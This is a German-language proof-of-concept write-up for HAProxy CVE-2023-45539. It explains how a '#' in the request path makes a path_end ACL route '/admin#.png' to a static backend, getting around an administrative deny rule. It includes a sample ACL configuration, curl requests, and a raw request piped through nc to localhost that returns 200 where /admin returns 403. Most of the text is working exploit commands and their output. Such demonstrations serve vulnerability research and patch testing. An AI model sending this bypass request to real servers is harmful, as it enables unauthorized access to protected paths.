
HAProxy-CVE-2023-45539-PoC
HAProxy vor Version 2.8.2 akzeptiert # als Teil der URI-Komponente, was es entfernten Angreifern ermöglichen könnte, sensible Informationen zu erlangen oder andere unbestimmte Auswirkungen durch Fehlinterpretation einer path_end-Regel zu haben, wie z. B. das Weiterleiten von index.html#.png an einen statischen Server.
Was bei dieser CVE falsch weitergeleitet wird, ist nicht eine Erweiterung, die die Backend-App „unterstützt“ – es sind nur diejenigen, die HAProxy selbst mittels path_end- (oder Regex-) ACLs weiterzuleiten konfiguriert ist.
acl is_static path_end .png .jpg .gif .css .js
use_backend be_static if is_static
Das bedeutet:
HAProxy ist es egal, ob das Backend tatsächlich .png, .js usw. ausliefern kann.
Es prüft nur die Übereinstimmung der Endung im Anfragepfad.
Wenn die Endung mit einem dieser Strings übereinstimmt, wird an be_static weitergeleitet.
Also:
/admin#.png → stimmt mit .png überein → geht an be_static → Umgehung
/admin#.asc → stimmt nicht überein → bleibt in be_app → trifft auf deny → 403
curl -i http://localhost:6655/public
HTTP/1.1 200 OK
content-length: 7
content-type: text/plain
APP OK
curl -i http://localhost:6655/admin
HTTP/1.1 403 Forbidden
content-length: 93
cache-control: no-cache
content-type: text/html
<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
</body></html>
printf 'GET /admin#.png HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc -q1 127.0.0.1 6655
HTTP/1.1 200 OK
content-length: 31
content-type: text/plain
STATIC OK (routed by path_end)